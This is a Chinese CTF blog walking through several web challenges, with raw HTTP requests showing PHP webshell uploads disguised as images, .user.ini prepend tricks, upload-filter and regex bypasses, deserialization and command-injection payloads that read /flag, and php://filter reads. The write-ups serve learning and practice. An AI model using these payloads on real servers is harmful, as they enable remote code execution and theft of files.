Mini L-CTF GuessOneGuess 下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 module.exports = function (io ) { io.on ('connection' , (socket) => { let targetNumber = Math.floor (Math.random () * 100 ) + 1 ; let guessCount = 0 ; let totalScore = 0 ; const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}" ; console.log (`新连接 - 目标数字: ${targetNumber}`); socket.emit ('game-message' , { type : 'welcome' , message : '猜一个1-100之间的数字!' , score : totalScore }); socket.on ('guess' , (data) => { try { console.log (totalScore); const guess = parseInt (data.value); if (isNaN (guess)) { throw new Error ('请输入有效数字' ); } if (guess < 1 || guess > 100 ) { throw new Error ('请输入1-100之间的数字' ); } guessCount++; if (guess === targetNumber) { const currentScore = Math.floor (100 / Math.pow (2 , guessCount - 1 )); totalScore += currentScore; let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`; let showFlag = false ; if (totalScore > 1.7976931348623157e308 ) { message += `\n🏴 ${FLAG}`; showFlag = true ; } socket.emit ('game-message' , { type : 'result' , win : true , message : message, score : totalScore, showFlag : showFlag, currentScore : currentScore }); targetNumber = Math.floor (Math.random () * 100 ) + 1 ; console.log (`新目标数字: ${targetNumber}`); guessCount = 0 ; } else { if (guessCount >= 100 ) { console.log ("100次未猜中!将扣除当前分数并重置" ); socket.emit ('punishment' , { message : "100次未猜中!将扣除当前分数并重置" , }); return ; } socket.emit ('game-message' , { type : 'result' , win : false , message : guess < targetNumber ? '太小了!' : '太大了!' , score : totalScore }); } } catch (err) { socket.emit ('game-message' , { type : 'error' , message : err.message, score : totalScore }); } }); socket.on ('punishment-response' , (data) => { totalScore -= data.score; guessCount = 0 ; targetNumber = Math.floor (Math.random () * 100 ) + 1 ; console.log (`新目标数字: ${targetNumber}`); socket.emit ('game-message' , { type : 'result' , win : true , message : "扣除分数并重置" , score : totalScore, showFlag : false , }); }); }); };
注意到最后有一项猜错一百次后删除分数的函数 这个分数是data,为上传的data
1 totalScore -= data.score
我们上传一个负数,根据源码里的减去,就能实现负负得正,获得足够分数 之后的totalScore是足够分数来输出flag的 此时再猜对一次触发输出flag即可
操作过程: 输入1 然后bp抓包重发99次, 在99次时把上传的分数改为:
1 '42 ["punishment-response" ,{"score" :-1e309}]'
此时服务器里的数组已经达到发送flag的数值了,但是要触发分数检测然后输出flag需要猜对一次, 所以再猜对一次即可
实测直接使用punishment事件就可以直接上传分数了 不用错一百次
Mini L_CTF 麦霸评分 题目给了源码 看到源码里有获取原音频的地址: /original.wav
提交录音的地址: /compare-recording
那直接把原音提交即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests audio_url = "http://127.0.0.1:37563/original.wav" audio = requests.get(audio_url).content r = requests.post( "http://127.0.0.1:37563/compare-recording" , files={"audio" : ("recording.wav" , audio)} ) a=requests.get(audio_url).headersprint (r.text)
给deepseek一眼顶针了,在浏览器控制台运行就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 async function getFlag ( ) { const serverPath = '/original.wav?sign=abc123' ; const response = await fetch (serverPath); const blob = await response.blob (); const formData = new FormData (); formData.append ('audio' , blob, 'recording.wav' ); const res = await fetch ('/compare-recording' , { method : 'POST' , body : formData }); const data = await res.json (); if (data.flag ) alert ('FLAG: ' + data.flag ); }setTimeout (getFlag, 11000 );
Mini L-CTF 吃豆人 查看源码,得到上传的地址, 直接传
1 2 3 4 5 6 7 POST /submit_score HTTP/1.1 Host: http:// 127.0 .0.1 :29530 / Content-type:application/json {"score" :50000 }
拿到flag
前端可以自己改,还有注释,有很多方法解 比如前端找到吃豆逻辑吧吃一个蓝豆改为100000000直接拿到
[SUCTF 2019]CheckIn 传正常图片提示里面有<?不给传,传码看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 407Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcjUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php.jpg" Content-Type : image/jpg <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示: exif_imagetype:not image!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScdUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg FFD8FF <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示: exif_imagetype:not image!
这次换个文件头:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5sUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg GIF89a <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
回显
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5 Your files :array (4 ) { [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) "index.php" [3] => string (9 ) "php2.jpg" }
那目录就是 /uploads/9987df285bb375eda68448315c5656e5/php2.jpg 蚂蚁又是连不上,但是这次是nginx服务器啊, 那可能就是user.ini文件了 提交:
1 2 GIF89a auto_prepend_file = php2.jpg
回显:
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5 Your files :array (5 ) { [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) ".user.ini" [3] => string (9 ) "index.php" [4] => string (9 ) "php2.jpg" }
这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件,看回显我上传的目录上是有一个index.php的,所以能用.user.ini的办法 蚂蚁连目录上的index.php即可 flag{e8b4a853-b79a-4497-912e-389a9fda03ba}
[网鼎杯 2020 朱雀组]phpweb 开门见孙笑川,然后会自己刷新,每次刷新都爆一样的错误
1 2 date (): It is not safe to rely on the system2025 -05 -07 02 :09 :32 pm
问一下deepseek: 这个警告意味着PHP在处理日期和时间时没有找到有效的时区设置。
好吧,知道站点真实目录
扫一下目录,啥也没扫到 用bp抓包,发现它要刷新时就会向服务器返回如下请求头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php HTTP/1 .1 Host : b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 Content -Length: 29 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Origin : http://b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 Content -Type: application/x-www-form-urlencodedUpgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 /index.phpAccept -Encoding: gzip, deflate, brConnection : keep-alivefunc =date&p=Y-m-d+h%3 Ai%3 As+a
把date改为flag.php看看
1 Warning : call_user_func() expects parameter 1 to be a valid callback, function 'flag.php' not found or invalid function name in /var/www/html/index .php on line 24
把p的值去掉值传func看看
1 Warning: date (): It is not safe to rely on the system
没见过这种,没思路了 注意到,回显的时间好像符合p参数的格式 Y-m-d+h%3Ai%3As+a 那么尝试一下p参数
1 2 3 4 func=date &p=ls;lsWarning: date (): It is not safe to rely on the system Wednesday12;Wednesday12
没办法了,看wp吧
看好像func和p是能直接执行函数的,p就是参数,我还以为date是一个自定义函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 func=echo&p=./flagWarning : call_user_func() expects parameter 1 to be a valid callback, function 'echo ' not found or invalid function name in /var/www/html/index.php on line 24 func=system&p=ls Hacker... func=highlight_file()&p=./flagWarning : call_user_func() expects parameter 1 to be a valid callback, function 'highlight_file ()' not found or invalid function name in /var/www/html/index.php on line 24 func=highlight_file&p=./flagWarning : highlight_file(./flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24 Warning : highlight_file(): Failed opening './flag' for highlighting in /var/www/html/index.php on line 24 func=highlight_file&p=/../../../flagWarning : highlight_file(/../../../flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24 Warning : highlight_file(): Failed opening '/../../../flag' for highlighting in /var/www/html/index.php on line 24 //看来无法进行目录穿越
那就看源码吧 func=highlight_file&p=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <!DOCTYPE html> <html> <head> <title>phpweb</title> <style type="text/css" > body { background: url ("bg.jpg" ) no-repeat; background-size: 100 %; } p { color: white; } </style> </head> <body> <script language=javascript> setTimeout ("document.form1.submit()" ,5000 ) </script> <p> <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?> </p> <form id=form1 name=form1 action="index.php" method=post> <input type=hidden id=func name=func value='date' > <input type=hidden id=p name=p value='Y-m-d h:i:s a' > </body> </html>
可以看到过滤了一堆函数
1 "exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents"
好像没有file_get_contents() ?
func=file_get_contents;highlight_file&p=flag //不行
func=file_get_contents&p=/../../../flag
Warning: file_get_contents(/../../../flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24
不行,看wp说要用反序列化,仔细看一眼源码 有个function __destruct() 改不会是这个?
可这里也没有unserialize 啊 为什么是用反序列化?
原来func就直接传unserialize啊 对哦,它也是php的一个函数
直接传
1 2 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:18 :"find / -name flag*" ;s:4 :"func" ;s:6 :"system" ;}
然后_destruct 就能触发了
就能找到flag位置了
[NISACTF 2022]easyssrf 给一个获取网页快照的功能 那不用猜就是有curl函数 扫一下目录没扫出东西
抓包得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : node7.anna.nssctf.cn:29484Content-Length : 26Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://node7.anna.nssctf.cn:29484Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://node7.anna.nssctf.cn:29484/Accept-Encoding : gzip, deflate, brConnection : keep-aliveurl=file %3A%2F%2Findex.php
f12 源码也没有功能源码
输入file:///flag 提示: 都说了这里看不了flag。。但是可以看看提示文件:/fl4g
file:///fl4g
你应该看看除了index.php,是不是还有个ha1x1ux1u.php
file:///ha1x1ux1u.php 不行
在url里直接访问ha1x1ux1u.php 得到:
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file , "file" )){ die ("你败了." ); }echo file_get_contents ($file );
不能用file:// 但是竟然有file_get_contents()那就能用php伪协议
直接传入:http://node7.anna.nssctf.cn:29484/ha1x1ux1u.php?file=/flag
就拿到了flag?不用伪协议?
测试了一下,用php伪协议也可以: ?file=php://filter/convert.base64-encode/resource=/flag 回显: TlNTQ1RGezg4YmE0NWNjLTJlYTEtNGRiNS04MzY1LWMzOTA0MDFiNmQ5N30K
解码就是flag
[LitCTF 2023]导弹迷踪 老规矩,只玩一遍 f12 找到flag flag字样被改为 F|L|A|G 直接搜搜不到的
[NCTF 2018] 签到题 找了半小时,cookie和请求头里面分别有两个假的flag
真flag在源访问链接 即/index.php的访问标头里
[NSSCTF 2022 Spring Recruit]ezgame f12 直接找 或者修改前端都行
[LitCTF 2023]Ping 尝试一下ping我的blog,提示只能ping ip地址
试了一下ping 我的服务ip 和 127.0.0.0 都是百分百丢包率
不管了,抓包看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : node5.anna.nssctf.cn:29540Content-Length : 27Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://node5.anna.nssctf.cn:29540Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://node5.anna.nssctf.cn:29540/Accept-Encoding : gzip, deflate, brConnection : keep-alivecommand=127.0 .0 .0 &ping =ping
改一下看看
1 2 3 4 5 6 7 8 9 command =/&ping=ls 没回显command =127.0 .0.0 |ls &ping=ping /回显:index .php upload
试了一下upload目录403
那直接看根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 command =127.0 .0.0 |ls /&ping=ping 回显: bin<br> dev<br> etc<br> flag<br> home<br> lib<br> media<br> mnt<br> opt <br> proc<br> root<br> run<br> sbin<br> srv<br> sys<br> tmp<br> usr<br> var<br>
那接下来cat /flag就行
1 command =127.0.0.0|cat /flag&ping =ping
拿到flag
TGCTF ezupload 先上传一个正常的jpg
回显
1 2 3 4 5 6 7 {"status_code" :403 ,"msg" :"\u 7981\u 6b62\u 4fdd\u 5b58\u 4e3a\u 8be5\u 7c7b\u 578b\u 6587\u 4ef6\u ff01" } unicode解码后的意思就是 文件内容包含非法字符,禁止上传! 我不明白
抓包传马看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload.php HTTP/1.1 Host : 127.0.0.1:62381Content-Length : 355Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:62381Content-Type : multipart/form-data; boundary=----WebKitFormBoundary5Frc88R0NhJL8adtUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:62381/Accept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="name"; filename="shell.jpg" Content-Type : aimage/jpg <script language ='php' >@eval($_POST[zhong]);</script> Content-Disposition: form-data; name ="submit" 上传文件
还是不行
扫一下目录 看到有index.php.bak
1 2 3 4 5 [17:07:56] 200 - 419 B - /index.php [17:07:57] 200 - 419 B - /index.php .bak [17:10:56] 200 - 30 B - /upload.php [17:10:57] 301 - 162 B - /uploads -> http:[17:10:57] 403 - 548 B - /uploads/
访问一下uploads/,403,顺便知道了服务端是nginx 那猜测一下会有upload.php.bak 给我猜对了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php define ('UPLOAD_PATH' , __DIR__ . '/uploads/' );$is_upload = false ;$msg = null ;$status_code = 200 ; if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" ); if (isset ($_GET ['name' ])) { $file_name = $_GET ['name' ]; } else { $file_name = basename ($_FILES ['name' ]['name' ]); } $file_ext = pathinfo ($file_name , PATHINFO_EXTENSION); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['name' ]['tmp_name' ]; $file_content = file_get_contents ($temp_file ); if (preg_match ('/.+?</s' , $file_content )) { $msg = '文件内容包含非法字符,禁止上传!' ; $status_code = 403 ; } else { $img_path = UPLOAD_PATH . $file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; $msg = '文件上传成功!' ; } else { $msg = '上传出错!' ; $status_code = 500 ; } } } else { $msg = '禁止保存为该类型文件!' ; $status_code = 403 ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; $status_code = 404 ; } }http_response_code ($status_code );echo json_encode ([ 'status_code' => $status_code , 'msg' => $msg , ]);
经测试,uploads/index.php 回显: File not found.
并没有404 那应该就能用.user.ini的办法
上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload.php HTTP/1.1 Host : 127.0.0.1:62381Content-Length : 331Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:62381Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryMjahAHXakvDQQiYSUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:62381/Accept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="name"; filename="shell.jpg" Content-Type : image/jpg <script language ='php' >@eval($_POST[shell]); Content-Disposition: form-data; name ="submit" 上传文件
回显:
1 2 3 4 5 6 7 8 9 HTTP/1.1 200 OKServer : nginxDate : Thu, 08 May 2025 09:24:17 GMTContent-Type : text/html; charset=UTF-8Connection : keep-aliveX-Powered-By : PHP/7.3.26Content-Length : 70{"status_code" :200 ,"msg" :"\u 6587\u 4ef6\u 4e0a\u 4f20\u 6210\u 529f\u ff01" }
解码后的意思就是成功 文件上传成功! 访问 /uploads/shell.jpg 访问成功!
然后接下来传.user.ini
1 auto_prepend_file = shell.jpg
上传成功 接下来用蚂蚁连 /uploads/index.php 失败?
不对,竟然不用
1 2 <script>包裹,那应该也不用<script>头了 @eval ($_POST [shell]);
也不行, 实在没办法了,去看wp, 说是在源码里知道能用name参数来进行目录穿越?
直接传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 POST /upload.php?name=shell.php/. HTTP/1.1 Host : 127.0.0.1:50404Content-Length : 323Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:50404Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryDxKYmUwl8LfJkYfiUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:50404/Accept-Encoding : gzip, deflate, brConnection : keep-alive------WebKitFormBoundaryDxKYmUwl8LfJkYfi Content-Disposition: form-data; name="name" ; filename="hello.jpg" Content-Type: image/jpg <?php eval ($_POST ['shell' ]);?> ------WebKitFormBoundaryDxKYmUwl8LfJkYfi Content-Disposition: form-data; name="submit" 上传文件 ------WebKitFormBoundaryDxKYmUwl8LfJkYfi--
尽然就成功传进去了? 这个是什么构造法?什么原理? /upload.php?name=hello.php/.
然后蚂蚁直接连 /uploads/shell.php 然后用蚂蚁的终端看环境 env 看到flag
原理是啥,怎么绕过的?
deepseek:
漏洞点:当攻击者通过GET参数name=shell.php/.传递文件名时,pathinfo()解析扩展名的行为异常。 pathinfo(‘shell.php/.’, PATHINFO_EXTENSION)会返回空值,因为末尾的/.被识别为目录结构而非文件扩展名。 黑名单检查$deny_ext因此误判文件类型合法,绕过防护。
反正我在kali里 echo 114514 > sunxiaochuan258.txt/.是无法执行的
那可能就是误判文件类型了
当然,刚才是烧一点的做法,正常的做法是 利用name参数来进行目录穿越,然后在index.php主目录下上传shell.jpg和.user.ini
这题也是学到不少
TGCTF AAA偷渡阴平 据说是web签到 开题拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $tgctf2025 =$_GET ['tgctf2025' ];if (!preg_match ("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $tgctf2025 )){ eval ($tgctf2025 ); }else { die ('(╯‵□′)╯炸弹!•••*~●' ); }highlight_file (__FILE__ );
?tgctf2025=system(ls); //Warning: Use of undefined constant ls - assumed ‘ls’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(8) : eval()’d code on line 1 index.php
看wp得到payload ?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’); 不明白 问问ai
kimi: 该 PHP 脚本存在代码注入漏洞,以下是对 payload 的解释:
?tgctf2025=eval(end(current(get_defined_vars()))); :
get_defined_vars() 返回一个包含所有已定义变量的数组,包括全局变量和局部变量。
current() 函数取得数组中的当前元素,这里会得到数组的第一个元素,通常是 GLOBALS 数组。
end() 函数将数组的内部指针指向最后一条记录并返回该记录,此处作用于 current(get_defined_vars()) 的返回值,即 GLOBALS 数组,所以会指向 GLOBALS 数组的最后一个元素。
但在这段代码中,由于 get_defined_vars() 返回的是所有变量数组,而我们是先用 current() 取第一个元素(即 GLOBALS 数组),再用 end() 将其指针移到最后一个元素,但这对于绕过正则过滤和执行命令来说,并非关键,真正关键的是后续如何利用 b 参数来实现命令执行。
eval() 函数会对传入的字符串作为 PHP 代码进行解析和执行,将 end(current(get_defined_vars())) 的结果传递给 eval,但此处关键不在于这个 eval 的内容,而在于后面的参数是如何被利用的。
&b=system(‘cat /f*’); :
这里通过 GET 请求传递了一个 b 参数,其值为 system(‘cat /f*’);。
在 PHP 中,system() 函数用于执行外部程序,并且会输出结果。
‘cat /f*’ 是一个 Linux 系统命令,cat 用于输出文件内容,/f* 是匹配以 /f 开头的所有文件,通常在一些 CTF(Capture The Flag)题目中,可能存在 /flag.txt 或类似路径的文件存放着标志(flag),所以这个命令意图读取这样的文件内容。
结合整个 payload 来看,由于脚本中未对 tgctf2025 参数的有效字符进行严格限制,正则表达式存在漏洞,攻击者可以构造特殊的 PHP 代码并通过 eval 执行,从而实现命令执行等恶意操作,这里的 payload 利用了 get_defined_vars() 来获取变量并结合 b 参数中的 system 函数调用,试图读取服务器上的敏感文件内容,但实际能否成功还取决于服务器环境等其他因素,例如是否允许 system 函数执行等。
deepseek: 步骤 1:获取所有变量 get_defined_vars() 返回当前作用域内的所有变量,包括超全局数组 $_GET。此时,$_GET 包含:
1 2 3 4 $_GET = [ 'tgctf2025' => 'eval(end(current(get_defined_vars())));' , 'b' => 'system("cat /f*");' ];
步骤 2:提取 $_GET 数组 current(get_defined_vars()):current() 返回数组的第一个元素。由于 $_GET 是超全局变量,它在返回的数组中通常位于前列,因此这里获取到 $_GET 数组。
end(current(…)):将 $_GET 的内部指针移动到末尾(即参数 b),并返回其值 system(‘cat /f*’);。
步骤 3:执行命令
eval(end(current(get_defined_vars()))) 最终执行 system(‘cat /f*’);,读取服务器上的 /f* 文件(如 /flag)。
//
我的理解就是:
?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’); 先新建一个eval函数 然后get_defined_vars()用来返回所有定义的变量,包含全局的非全局的,这两类会被分为两个数组, 在用current()选择get_defined_vars()生成的数组中的第一个,因为$_GET为超全局变量,所以会在返回的第一个,而此时get中有两个变量,’tgctf2025’ 和 ‘b’ 再用end来选取全局变量组成的数组中的最后一个元素,即为b
然后用最外第二层的eval函数来执行变量$b, 而源码中的第一层eval 就是用来执行这两段操作的,相当于我们上传了两段代码
[SWPUCTF 2021 新生赛]sql 按f12 看到标题提示参数是wllm 传一个wllm=1看看,这熟悉的绿字,感觉回到了sql-labs 再传个2,不回显 那简单fuzz一下
1 2 3 4 5 6 7 8 9 10 11 12 过滤了: 空格 + =and updatexml extr extractvalue0 'or %0 aunion%0 aselect%0 a1,2 ,3 #1 'if (1 =2 ,1 ,0 )
好嘛,试了好久原来是#它不自己进行url编码
